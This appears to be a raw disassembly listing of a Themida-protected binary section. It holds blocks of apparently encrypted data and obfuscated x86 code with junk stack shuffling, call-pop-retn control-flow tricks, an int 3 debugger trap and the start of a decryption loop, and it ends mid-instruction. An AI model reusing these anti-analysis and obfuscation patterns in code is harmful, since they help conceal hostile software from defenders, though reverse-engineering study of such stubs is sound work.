0F5E84FDFh dd 820346FDh, 0D9EA442Dh, 7766CFF6h, 0F283F350h, 484EBE3Dh dd 0CFEF1FE2h, 2D74CF0Dh, 0D0442D82h, 9B00BFFh, 34442D82h dd 4076E647h, 795E604Fh, 55746239h, 0FB9A707Dh, 3DB0BABh dd 374D1440h, 0DED8E942h, 5ADA66C5h, 0FCD3ACEAh, 0FE6ED1E2h dd 4823C7B8h, 0DC4CAD06h, 0E7EFD2Eh, 0AD1CAD08h, 0F5A44A46h dd 0E7EFDCAh, 75E94A67h, 0C182DE1Bh, 0CC2F0491h, 0CF31825Ch dd 281AB5Fh, 59DA0F0Fh, 0BF08B73Eh, 0C1F2CC3Ch, 5736D444h dd 5EDF6BC8h, 63D5C1EEh, 815B6393h, 0AB5FCF30h, 0C02D1410h dd 86586943h, 92A4ED58h, 7E474BF7h, 96FE56AFh, 17200FF4h dd 0F49411F5h, 9AF99153h, 6716h, 0BABF200h, 0F2365BEAh dd 0E4B51086h, 4EBE5D3h, 0CCE350CAh, 0A15753F2h, 9AC4169Bh dd 9395E62Bh, 1D988516h, 0B8E882ADh, 3FC2AFE7h, 30448AD7h dd 93A34C95h, 391E2F16h, 4669C63Ah, 2186ABAFh, 5A7CD9B1h dd 0E48552D4h, 0D2F7CE6Fh, 9916939Dh, 3DC1AF88h, 64D45B58h dd 3AD5D32h, 8B3A0434h, 1693384Eh, 14181C2Dh, 0BE57C724h dd 461848F8h, 0E5533F18h, 436BA2D2h, 6344FCA7h, 3809169Ch dd 23AF0D26h, 43B3119Dh, 7A557A53h, 0B828849Bh, 1EA3907Eh dd 0F39768AEh, 0F5C9F9BDh, 8988564Eh, 106CC510h, 98B72784h dd 0E1FDCEF2h, 0E98CC4F4h, 0C8A24903h, 74A6E74Eh, 7F3F1CADh dd 0BF426F4Fh, 5A5CCC33h, 734C4A65h, 12FEC597h, 6B1AB17Dh dd 0B4D95C5Ah, 4102B962h, 44B4367Bh, 862E2773h, 0C9A12308h dd 0FF6ADFCEh, 85A9E719h, 1Ch, 45864FA1h, 2C726405h, 65197F6Bh dd 2E9A2935h, 2F169B0Dh, 169C181Eh, 70000000h, 3DB0BABh dd 9BF24C40h, 85E41116h, 240B7BF9h, 4321DF2h, 0DF624FF8h dd 2D8E7B6Fh, 4219E0BDh, 2C4ABDF1h, 7A2C8h, 0E858D600h dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h, 0D792B78Eh dd 9859169Bh, 935EB2A4h, 0B1ABB3E3h, 20A30480h, 1086F2F9h dd 9A9CB384h, 72D6C5A5h, 0FB169BFBh, 0C7CF839h, 93F87099h dd 8A39FB16h, 1693F847h, 153A1526h, 0C6573A89h, 7010D4D8h dd 6B597E40h, 6CDC5EECh, 904FA4Bh, 0A068DB61h, 4DDEC7B0h dd 5C73E360h, 0F30D05Ah, 0F63C6DB4h, 103F10DEh, 9F23104Eh dd 7416E72Fh, 0ECE35C49h, 92F21FD8h, 181BF422h, 14E92D9Dh dd 0AD0E233Bh, 0B110213Dh, 92785541h, 0D95A5703h, 8E502D69h dd 0FB92B7h, 0A24859C4h, 0DBA21271h, 0E96B3912h, 0D4E35F55h dd 0A4000006h, 0E43BDA4Ah, 0B3801585h, 1C13E252h, 0DA492C9Ch dd 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch, 80F053E0h dd 49FCE2F5h, 169BD400h, 24122AEBh, 67C657C7h, 74BDF144h dd 6950282h, 63E30000h, 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh dd 6DCD6233h, 88318FDh, 0D0A51595h, 896CDC63h, 0CBAA1A9Ah dd 8E67D754h, 67AA1945h, 6169BD4h, 0C724B785h, 6649B93Bh dd 0C6F6CA30h, 0DE74DF8h, 0F2416A4h, 7F83EAEh, 0D2713363h dd 169BE98Fh, 51C1416Eh, 0BCE5607Eh, 3F169BE9h, 6B4416Eh dd 6FB21132h, 0E169BE9h, 794C123Dh, 10810481h, 38BBFBCCh dd 1CB4BB15h, 4302DCE2h, 1CB4BB1Eh, 731ECCDDh, 2F8DA64Ch dd 0BBD2F7CEh, 88991CB4h, 65C8C3A7h, 0EBA3DA67h, 0C2h dd 0D31DF4E1h, 6A25CBC0h, 9284734Dh, 26C46C2Dh, 945DB2EEh dd 0B4AAB4E4h, 0F2F61BAAh, 0A4751086h, 0FB73D7C6h, 29FA169Bh dd 30A01C15h, 1B610906h, 9B0E1BA8h, 2C5C1CD9h, 86E74C12h dd 3B2F2016h, 80064C60h, 47A4D1C3h, 0CDE6F8D7h, 0A6BBFB6Bh dd 12F8D747h, 0AE1D3A24h, 281B3D29h, 0EB2E882h, 0E2CD3DC2h dd 0E454D7DCh, 94953006h, 0E7CDAEB1h, 9EB60FDEh, 634C60D5h dd 65D5565Bh, 0B020A390h, 0A71784EDh, 0D9595BDCh, 56Fh dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh dd 9BD5DD04h, 5DDFA016h, 0BAB5h, 8D4FD100h, 0EF56C624h dd 1086F2AAh, 0F0AA4051h, 0A71E2050h, 16A40D91h, 7AB78798h dd 37EC89F9h, 647A44B4h, 9BE9B8E1h, 98724316h, 3C6C0C9Eh dd 73F73C22h, 643C6703h, 87108119h, 0D9ABEE55h, 41521CB4h dd 61344076h, 62083EEDh, 9FB753Eh, 40EBA1DAh, 248D4F6Fh dd 0A8F154C4h, 531CB4EBh, 0A06EA842h, 0EBC207BEh, 98A91CB4h dd 0C8F8C8F2h, 0CB3BBDF6h, 4618F2CBh, 0AE19237Fh, 94693A1Ah dd 0ABAA1D25h, 0B03CB8BEh, 0C8000004h, 817FE6Eh, 0C75C39A9h dd 101FF666h, 7EB540B0h, 0B2E98CFCh, 0F464C6F9h, 3DAD1221h dd 0F969CB58h, 34A4071Ch, 0DD687661h, 169BDAB4h, 0B686B637h dd 1086F293h, 86F23E5Fh, 0D707B710h, 0DF63C07h, 0A67716A4h dd 90008370h, 0D429980Dh, 0DD654FB7h, 45Bh, 6431A11Dh dd 1BFA6ACFh, 5C39A904h, 24F161C7h, 5A3BAB0Fh, 0EF534E3Dh dd 2689967Fh, 0F450DFB6h, 0C142F184h, 4B13C451h, 9BDA5178h dd 0E15B1C16h, 72E2624Fh, 729F4B44h, 375A111h, 6EB31233h dd 801086F2h, 0A9A69000h, 0AD1826F7h, 1086F264h, 45193607h dd 9BF9127Eh, 0DA696B16h, 1693F5B7h, 0F40FCCDh, 9B05647Eh dd 0C811B48Ah, 0B31693B3h, 0EBF1CDE2h, 93B03158h, 0A6EB5A16h dd 451693B0h, 5DDFCC74h, 0FBD4A9EDh, 0BA41840Fh, 0B4170A40h dd 2FC636h, 96241282h, 0ACA9B5E5h, 1C1C8889h, 92E1898Ah dd 57C724A6h, 81F1525Fh, 0C2F2C6F4h, 49FCE2FCh, 1086F200h dd 9530DAEBh, 169BFB5Dh, 83F375BEh, 0F0D0BA93h, 4EB2FFDFh dd 1C022CDEh, 8BEA13Bh, 98723BD3h, 933BE02Dh, 6AC78D16h dd 0F821A405h, 8316933Bh, 0AC999DB2h, 610AC9BBh, 3B2F0035h dd 5DE06954h, 0E39DBDA0h, 38h, 0DB0BABB7h, 0F5F04003h dd 0BC8D169Bh, 8083B5A2h, 280F7FFEh, 0FED9764Ch, 0ECBABDh dd 3FED9D96h, 66D6545Dh, 51F41984h, 16811693h, 0BD17A2A7h dd 79D9DBDh, 79000001h, 8757C724h, 955EC62Ah, 0B6D81408h dd 86B05A75h, 0AA1A9B98h, 0EE9C0C69h, 494DBD3Dh, 536BDB58h dd 7297BA89h, 45561086h, 8CA567A5h, 827BBB2Bh, 67C82BE8h dd 8672B5DCh, 48673810h, 77E608ADh, 79FA1086h, 34B76C09h dd 3CB9FAC4h, 15F5CACCh, 35273517h, 86774B8Eh, 0C4613210h dd 1086779Dh, 61D13360h, 42F69C4Eh, 0B5794C12h, 56169B71h dd 7A94BD88h, 4E571693h, 7B4070A1h, 0F595BADDh, 0C5EEF0C1h dd 44DFF868h, 2DB06308h, 2E303B2Fh, 234A405h, 83335D0Dh dd 90B88B53h, 5D108B84h, 6B6C724Ch, 3EC354E4h, 9495757Bh dd 60CFA616h, 882E7AE2h, 94130D7Fh, 285BE2BBh, 7680B1C5h dd 25E0Eh, 2C9C1A00h, 0E757DA49h, 34A4210Eh, 0FE6ED261h dd 3AAA0817h, 544F3C5Bh, 0A08F66D6h, 59C6AF1Fh, 958A6BDBh dd 4CFA616h, 0D8266BDAh, 44C5169Bh, 65C624F8h, 86F2BBDEh dd 5E714210h, 9B0B68B7h, 0BAB2EFAh, 0F04003DBh, 8D169BF5h dd 0D2FB7ABCh, 9B1693F1h, 5B16BC99h, 0EF285897h, 202994FBh dd 9DBDCF9Dh, 0FC23h, 8D4FF700h, 86F293B6h, 0A1495A10h dd 9BA31370h, 13059ABAh, 86648FCDh, 0A7179B88h, 6AEA146Fh dd 8291086h, 4F93DADh, 0DE46A566h, 1F06FF1h, 0A6FA4ABh dd 8CA39C9Ah, 1D58A5B2h, 5A3E63E2h, 0ECBD1086h, 38D2A9CBh dd 8FEC4352h, 0ED91171Fh, 9ABBA1BDh, 44C0FA45h, 0CAEDE2D4h dd 38D2D133h dd 9B2AA18Dh, 4302C416h, 1693131Eh, 12E3CCDDh, 9AA4D4A4h dd 1783E8BDh, 1AF32393h, 0B7DE6C3Dh, 71C281D3h, 108B7Ah dd 0A0220F2Fh, 0AF045A30h, 7879E34Bh, 442A6180h, 15958A6Bh dd 0D147D8A5h, 9E98B1C3h, 14E16h, 5CCC2A00h, 97076AB9h dd 64D431FEh, 0AE1EA291h, 6ADA58C7h, 249F0C8Bh, 70BF56C6h dd 29F69F0Fh, 65BA5BCBh, 0D4FF9606h, 0DE163B0Ah, 14D5169Bh dd 56C62428h, 0AAEF5688h, 511086F2h, 54CBAA40h, 5A5767D7h dd 582D69D9h, 0C4880365h, 454E61B2h, 0F99476E6h, 0E2624F33h dd 3363D356h, 4C41755Ah, 820E6D9Eh, 9DA18EFEh, 6DA91994h dd 0F5BE7898h, 103F3E64h, 44A7BC7Ah, 49A90AD4h, 0E5CA3ABDh dd 4302DCB1h, 1086381Eh, 4F1ECCDDh, 0D646A60Bh, 95FBEFE0h dd 0AFADB1E1h, 8638CD14h, 0EB9FB010h, 0DA697369h, 108638B7h dd 16856536h, 16A4C704h, 0F1023405h, 0DC532292h, 0FE6ED35Fh dd 44A40DD1h, 0FDEDE2D4h, 75C6B40Fh, 672D8Bh, 0AD0C25CDh dd 0CDCB6E45h, 1639D2A2h, 0CE3B2F20h, 3618FD6Dh, 19749D28h dd 26F731ABh, 0F464C744h, 0DF4FB1C2h, 822DDCD7h, 0DB5AE645h dd 4BCB4C6Bh, 32E5B3DAh, 0A81B411Dh, 31AB2061h, 29991F0Ch dd 45096406h, 2065AC17h, 1B0831ABh, 0A092696h, 0D65337A7h dd 768C955h, 0AB20153Ch, 0E8C7D831h, 0B8FED1AEh, 1A3Ch dd 0C3417200h, 806A6353h, 6F6D2F9Ch, 0F550C042h, 1086F2ACh dd 6FDF624Fh, 2472AA40h, 475C5ACAh, 314274E4h, 3E3363D3h dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h dd 783C7AEAh ; --------------------------------------------------------------------------- loc_5FC7A8: ; DATA XREF: Themida_:0057A358o ; Themida_:0057C680o push 6C4Ah mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 61D1C3Ch mov edi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [esi+8] mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- dw 61A6h dd 81FA897Dh, 2725613Eh, 0B8FDB280h, 61D2D79h, 0E0FFC503h dd 48C17BAFh, 2EDC56B0h, 7DBF561Fh, 6835F0C6h, 3B5CA06Bh dd 6B74D349h, 1A042357h, 3EA85C82h, 15D792EDh, 717037D7h dd 56B34A14h, 75FED18h, 0CE630B1h, 39C0F25Eh, 722A8E1Dh dd 652FFB8Bh, 18B4D02Ah, 4FD57C0Bh, 26DC82F8h, 7AFE6647h dd 35755FF1h, 5505B8D4h, 677F4277h, 6B812618h, 7B1D3BBAh dd 705CF5D2h, 39453C53h, 7959CE9Ch, 2F278D8Dh, 6A061Dh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E97588C3h, 9, 7455D39Ah, 27F3F16Ch, 218D890Eh, 89061527h dd 15225195h, 0CD85C706h, 0FC061504h, 0E9000070h, 0Ah dd 0B96B5652h, 4C1F769Ah, 85C7063Eh, 6151115h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+61510F1h] push 0 push ecx call sub_5FC90D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FC90D proc near ; CODE XREF: Themida_:005FC905p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5FC90D endp ; --------------------------------------------------------------------------- xor dword ptr [edx-79h], 29h mov ebp, 61503A5h call dword ptr [ebp+61502C9h] push 0 push ebp call sub_5FC937 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FC937 proc near ; CODE XREF: Themida_:005FC92Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5FC937 endp ; --------------------------------------------------------------------------- push cs mov esp, 0F18BEF50h mov ah, 37h push 0 call dword ptr [ebp+6152E21h] mov eax, eax jmp short loc_5FC9D3 ; --------------------------------------------------------------------------- lahf dec ebx les ebp, [ebx-19h] int 3 ; Trap to Debugger xor [eax+771E5025h], al xor ch, [esi+ebx*8+4BE35760h] pop eax dec ecx setalc cmpsd sub al, dl retf 4704h ; --------------------------------------------------------------------------- popf or esp, ebp add edi, esi cmp [esi], eax pop es xchg eax, esi mov ebp, 793EC9B1h fistp word ptr [edi-29h] xchg eax, esi dec ebp db 66h jbe short loc_5FC9A0 retf ; --------------------------------------------------------------------------- dw 0A279h ; --------------------------------------------------------------------------- and ebx, [ecx-46A10AA2h] xlat add [ebx+6762ED2Fh], dh sub al, 0F2h cdq loc_5FC9A0: ; CODE XREF: Themida_:005FC98Aj das rep add eax, 2C61A7D5h db 64h fcom st(5) test al, 0 sbb ch, al pop ss xor eax, esi daa sub esi, [ebx-214AC918h] setp byte ptr [edi+ebx*4+73h] daa ; --------------------------------------------------------------------------- dw 0C88Eh dd 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h db 5Bh, 9Eh, 0BEh ; --------------------------------------------------------------------------- loc_5FC9D3: ; CODE XREF: Themida_:005FC959j lea ecx, [ebp+61D3072h] mov [ebp+61526A5h], eax mov [ebp+6152721h], ecx push 0 push eax call sub_5FC9F0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FC9F0 proc near ; CODE XREF: Themida_:005FC9E8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5FC9F0 endp ; --------------------------------------------------------------------------- dd 2276276Bh, 78B866BBh, 7886BA75h, 85C74F31h, 61504CDh dd 5C74h, 64E88166h, 1585C7EEh, 61511h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 593EC353h, 0ED83C3CAh, 6B9C0B6Eh, 2CBDB5FFh, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FFA6C7C3h, 1502C995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1C4BB705h dd 1F288C78h, 6AC8CEh, 2E2195FFh db 15h ; --------------------------------------------------------------------------- loc_5FCAA1: ; DATA XREF: Themida_:00579DF4o push es mov eax, eax jmp short loc_5FCAC1 ; --------------------------------------------------------------------------- dw 7171h dd 6A5F3C6Ch, 131A6DCEh, 4B9213EFh, 0BDD5BB69h, 0E9D700Eh dd 0DFB42610h db 20h ; --------------------------------------------------------------------------- loc_5FCAC1: ; CODE XREF: Themida_:005FCAA4j jmp short loc_5FCAD3 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5FCAD3: ; CODE XREF: Themida_:loc_5FCAC1j mov eax, eax push eax jnz loc_5FCAEC jmp loc_5FCAEC ; --------------------------------------------------------------------------- imul ebp, [eax+0B29A3A4h], 0C93DD0F1h xchg eax, edx loc_5FCAEC: ; CODE XREF: Themida_:005FCAD6j ; Themida_:005FCADCj pop edx mov [ebp+6150C41h], ecx cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5FCB05 cmp dword ptr [ebp+61503ADh], 0 jz short loc_5FCB1E loc_5FCB05: ; CODE XREF: Themida_:005FCAFAj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6151385h], eax lea ebx, [ebp+617AA9Eh] call ebx ; _iob pop ebx pop eax loc_5FCB1E: ; CODE XREF: Themida_:005FCB03j cmp dword ptr [ebp+61503ADh], 0 jz short loc_5FCB3E push eax push ebx mov eax, 42Dh mov [ebp+6151385h], eax lea ebx, [ebp+617A78Dh] call ebx ; _iob pop ebx pop eax loc_5FCB3E: ; CODE XREF: Themida_:005FCB25j push 0 push esi call sub_5FCB49 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FCB49 proc near ; CODE XREF: Themida_:005FCB41p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5FCB49 endp ; --------------------------------------------------------------------------- db 31h, 11h, 37h dd 1331B58Bh, 0E8F50615h, 6, 0A43C2397h, 958BC287h, 61504E5h dd 4ADE815Eh, 8B482C18h, 57DCB2C0h, 0BE8h, 0DCC45E00h dd 59EC6A35h, 12B395F8h, 850Fh, 5E5A0000h, 9858D8Bh, 0B58B0615h dd 6151E25h, 1D9D9D89h, 0F9830615h, 5F840F00h, 1000000h dd 152EB58Dh, 3D8B6406h, 2Ch, 0E8F7B70Fh, 7, 0BB5D9F36h dd 8B154AB9h, 151119B5h, 0FF0B5E06h, 34840Fh, 0FE90000h dd 0AA000000h, 5269C073h, 99264FF2h, 92881C7Bh, 8D296662h dd 6151D19h, 0F6813F8Bh, 438FF020h, 9589C032h, 615130Dh dd 8952AAF3h, 1511F995h, 49355A06h, 6A535041h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 6629C351h, 2229982Ah, 0C585C624h, 47061509h, 0A59B58Bh dd 3F680615h, 81D9E78Ch, 0FBED2404h, 858902EEh, 6150805h dd 2811B5FFh, 6E80615h, 0D3000000h, 61978FDAh, 0F38B663Ch dd 0BC858D5Ah, 0BA061872h, 4E57B64Ah, 810FD0FFh, 3, 89F6B70Fh dd 152D2585h, 5958B06h, 0C606152Fh, 1509C585h, 6A5306h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 6A1A0AC3h, 0BA66EF3Bh, 0BA66B270h, 4E83593h, 0FC000000h dd 5088986Ah, 448B5A53h, 5E560424h, 8B66008Bh, 244489F3h dd 58F38B04h, 68E0Fh, 958B0000h, 615044Dh, 2811B5FFh, 858D0615h dd 61872BCh, 0B70FD0FFh, 36858DD0h, 66061837h, 89A892BAh dd 15248D85h, 15810F06h, 0E9000000h, 10h, 6F87E77Ch, 29001B6h dd 0BF81DD52h, 0DC005AA3h, 0FF6A206Ah, 248D95FFh, 49350615h dd 0C7535041h, 151E0185h, 106h, 0BD85C700h, 6152Fh, 89000000h dd 1504A1BDh, 1858B06h, 66061516h, 64E797BAh, 0A3h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0F9B2446Eh, 48B0F14h, 66000000h, 660BC3BAh, 0BD83D78Bh dd 61509CDh, 52840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7DC5C355h dd 858B7F05h, 6151D09h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 53C35545h, 27EEB391h, 0DB4E7183h, 0A9958B8Ch dd 8B061525h, 0F5BD83E0h, 61527h, 47A850Fh, 85890000h dd 6152179h, 9C585C6h, 60560615h, 1F9BD89h, 0FE80615h dd 0F4000000h, 839CE39Ah, 0D734FF54h, 0AB2C715h, 0D18B6338h dd 968615Ah, 0B252AA8Ch, 240481B3h, 571AA4D6h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h, 9ADBECCCh dd 6850F60h, 8B000000h, 1522D195h, 11B5FF06h, 8D061528h dd 1872BC85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 81DBC9D4h, 9E9h, 84D87700h, 3E5E600Fh dd 0D0FFCC20h, 10C9958Bh, 50500615h, 0F51B652h, 89585A31h dd 0F18B2404h, 5E9h, 0D5E2100h, 8D8D4F05h, 6152839h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h, 0E4E90812h dd 0E11B58Bh, 8B500615h, 240C89F3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0FC35343h, 0C5BA1446h, 6A40597Dh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0EC796D27h, 686C5D56h, 7337C894h, 3481F58Ah dd 37D89424h, 95B58B73h, 0FF061509h, 150031B5h, 5800F06h dd 0BE000000h, 3E015C7Bh, 0C8C28166h, 66D0FF54h, 8BC4DBBEh dd 150031BDh, 99B58B06h, 3061519h, 952B3C7Fh, 6151A49h dd 0F8C781h, 8D290000h, 6151D99h, 0C765C680h, 202447h dd 8B666000h, 0DDEA81D0h, 83687E2Bh, 1D3094BDh, 840F0006h dd 1FBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 54C35040h, 40DE81FFh, 837BC6AFh, 6A28C7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0A85E02C3h, 0C2A6E843h, 860F0BCDh, 11h, 0CE9h, 906F9100h dd 0B2FEDA40h, 4AAFE35Bh, 2E07C78Bh, 6A64696Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 5EC2C355h, 0EC553BE8h, 0B70FB1B2h, 47C7F8F0h, 61746104h dd 0F99D8900h, 8B06150Ch, 1D309C85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0ACAB6B6h dd 24B7D820h, 0FE9A1h, 0A5410000h, 69BE009h, 31619281h dd 66A5DC94h, 0C47895Eh, 2691958Bh, 858B0615h, 61D30A0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D6C35545h dd 89F18B66h, 6A0847h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0BC7067C3h, 7E9B5D2h, 66000000h dd 0F9DDFAFDh, 850FF22Dh, 17h, 12E9h, 0C44CCD00h, 226F139Ah dd 620DBD7Ah, 83A65B47h, 835802E6h, 950128C7h, 6150895h dd 632E07C7h, 880F6E6Fh, 6, 2AC9B589h, 85290615h, 615271Dh dd 660447C7h, 0E8006769h, 6, 0F241A19Bh, 9E9F95Ch, 0AB000000h dd 11A0B9Ch, 0CCAD510Ch, 98858B5Eh, 6A061D30h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 689BC351h, 89CBF8FFh, 0FE90C47h, 0DD000000h, 0E6D3FD29h dd 0B59EC092h, 2C9A4FB6h, 0B58B68B7h, 6152AC9h, 3094858Bh dd 8E0F061Dh, 0Eh, 0F18D8B60h, 81061509h, 0FD7957DEh, 47896132h dd 0C99D8908h, 58061505h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0C35646h, 57CC1CDFh, 0D5BD89AFh, 8D061520h dd 152C798Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 880FFC3Ah, 4, 6DE8BE66h, 240C8950h dd 0B5FFD18Bh, 6152839h, 30159589h, 0DA680615h, 6017C102h dd 66CA8B60h, 61BF04B8h, 8D95BF66h, 24348161h, 17C112DAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 17C35242h dd 0FF968C1Eh, 150031B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A86EF82Ch dd 0D0FF6133h, 0FD98D89h, 85890615h, 6151DADh, 0B8h, 19958B00h dd 0B061523h, 22840FC0h, 29000000h, 151E0DB5h, 0FFD78B06h dd 1503BDB5h, 7E906h, 84290000h, 0C3F4D90Eh, 0C995FF85h dd 0B2061502h, 66C08BF3h, 83B650BAh, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B535019h, 42DB8C0h, 85890000h dd 61502A1h, 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh dd 50177400h, 42DB853h, 85890000h, 61502A1h, 0A7A69D8Dh dd 0D3FF0617h, 0B70F585Bh, 14E9D2h, 0F7FA0000h, 0CD4019BFh dd 0B5B06591h, 1AC02E28h, 43B5ED28h, 0C08B6767h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0ACC35040h, 0AE1B50Bh dd 0C08B0615h, 39A98D8Dh, 8D89061Dh, 6152721h, 0AE9h, 4E6DBA00h dd 0D0DD6BFh, 0C7A048B2h, 1504CD85h, 6A2006h dd 8E900h, 0A0610000h, 975C901Bh, 85C770A4h, 6151115h dd 0 ; --------------------------------------------------------------------------- add [ebp+6152E25h], eax push dword ptr [ebp+6152921h] push 0 push ecx call sub_5FD38B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FD38B proc near ; CODE XREF: Themida_:005FD383p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5FD38B endp ; --------------------------------------------------------------------------- db 6Dh dd 0AB7FE8B2h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0C8DB0AC3h, 39895A02h dd 8B9BD9EFh, 152AE5BDh, 0FF006A06h, 152E2195h, 0EBC08B06h dd 57E2944Dh, 9EF62DF5h, 83E06193h, 82940FF8h, 316DAFFCh dd 4D569CA8h, 9BC5DA6h, 776CB2A9h, 0BFE04DC0h, 84256C08h dd 4378F7Ah, 69A05F52h, 0F57E0572h, 0E57657Eh, 7A0A244Ah dd 0D195A6D5h, 1E61A9A6h, 68545ED6h, 0EBD4350Eh, 8D8D23E5h dd 61D3A98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 16C35141h, 0C4A46B13h, 91DB79B2h, 2D95896Bh, 8906152Fh dd 1527218Dh, 0CD85C706h, 8C061504h, 80000074h, 85C784F2h dd 6151115h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5FD483 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FD483 proc near ; CODE XREF: Themida_:005FD47Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5FD483 endp ; --------------------------------------------------------------------------- mov word ptr [esi+5Bh], es push edi mov ah, 9Eh shl dword ptr [edx-4Dh], 8Bh mov ebp, 61508EDh push dword ptr [ebp+6152F59h] mov esi, [ebp+6152CD5h] call dword ptr [ebp+61502C9h] mov esi, [ebp+6151381h] mov [ebp+61518EDh], ecx push 0 call dword ptr [ebp+6152E21h] mov eax, eax jmp short loc_5FD519 ; --------------------------------------------------------------------------- dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h ; --------------------------------------------------------------------------- dec ebx loc_5FD519: ; CODE XREF: Themida_:005FD4CAj call sub_5FD52F setalc in al, dx and eax, 89D24804h and [ebp+77C2A0B2h], edx inc esi dec esp mov bh, 88h ; =============== S U B R O U T I N E ======================================= sub_5FD52F proc near ; CODE XREF: Themida_:loc_5FD519p mov ax, dx pop edi jnp loc_5FD53E sbb ax, 93h loc_5FD53E: ; CODE XREF: sub_5FD52F+4j add edi, 5A30h movzx eax, ax mov ecx, 1662h movsx eax, ax loc_5FD54F: ; CODE XREF: sub_5FD52F+8Fj mov edx, [edi] jmp loc_5FD564 ; --------------------------------------------------------------------------- dw 0CA3h dd 0E15C7ADBh, 0D3B1A725h, 9EA90D3Ah ; --------------------------------------------------------------------------- loc_5FD564: ; CODE XREF: sub_5FD52F+22j sub edx, 1ADBE5E4h jp loc_5FD575 mov ebx, 2E12DB13h loc_5FD575: ; CODE XREF: sub_5FD52F+3Bj add edx, 156D8FEAh mov eax, 